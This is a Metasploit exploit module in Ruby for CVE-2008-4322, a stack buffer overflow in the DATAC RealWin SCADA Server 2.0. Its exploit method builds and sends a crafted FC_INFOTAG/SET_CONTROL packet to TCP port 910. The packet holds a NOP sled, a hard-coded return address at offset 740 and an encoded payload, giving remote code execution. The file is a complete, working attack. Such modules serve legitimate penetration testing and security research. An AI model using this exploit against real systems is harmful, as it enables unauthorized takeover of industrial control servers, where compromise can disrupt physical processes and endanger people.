1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'DATAC RealWin SCADA Server Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a stack buffer overflow in DATAC Control
18
          International RealWin SCADA Server 2.0 (Build 6.0.10.37).
19
          By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
20
          an attacker may be able to execute arbitrary code.
21
        },
22
        'Author' => [ 'MC' ],
23
        'License' => MSF_LICENSE,
24
        'References' => [
25
          [ 'CVE', '2008-4322' ],
26
          [ 'OSVDB', '48606' ],
27
          [ 'BID', '31418' ],
28
        ],
29
        'Privileged' => true,
30
        'DefaultOptions' => {
31
          'EXITFUNC' => 'thread',
32
        },
33
        'Payload' => {
34
          'Space' => 550,
35
          'BadChars' => "\x00\x20\x0a\x0d",
36
          'StackAdjustment' => -3500,
37
        },
38
        'Platform' => 'win',
39
        'Targets' => [
40
          [ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!
41
        ],
42
        'DefaultTarget' => 0,
43
        'DisclosureDate' => '2008-09-26',
44
        'Notes' => {
45
          'Reliability' => UNKNOWN_RELIABILITY,
46
          'Stability' => UNKNOWN_STABILITY,
47
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
        }
49
      )
50
    )
51

52
    register_options([Opt::RPORT(910)])
53
  end
54

55
  def exploit
56
    connect
57

58
    data = [0x67542310].pack('V')
59
    data << [0x00000800].pack('V')
60
    data << [0x000a77e3].pack('V')
61
    data << [0x00040005].pack('V')
62
    data << "\x00\x00"
63
    data << make_nops(target['Offset'])
64
    data << [target.ret].pack('V')
65
    data << [0x00404040].pack('V')
66
    data << payload.encoded
67
    data << make_nops(1024)
68

69
    print_status("Trying target #{target.name}...")
70
    sock.get_once
71
    sock.put(data)
72

73
    handler
74
    disconnect
75
  end
76
end
77

78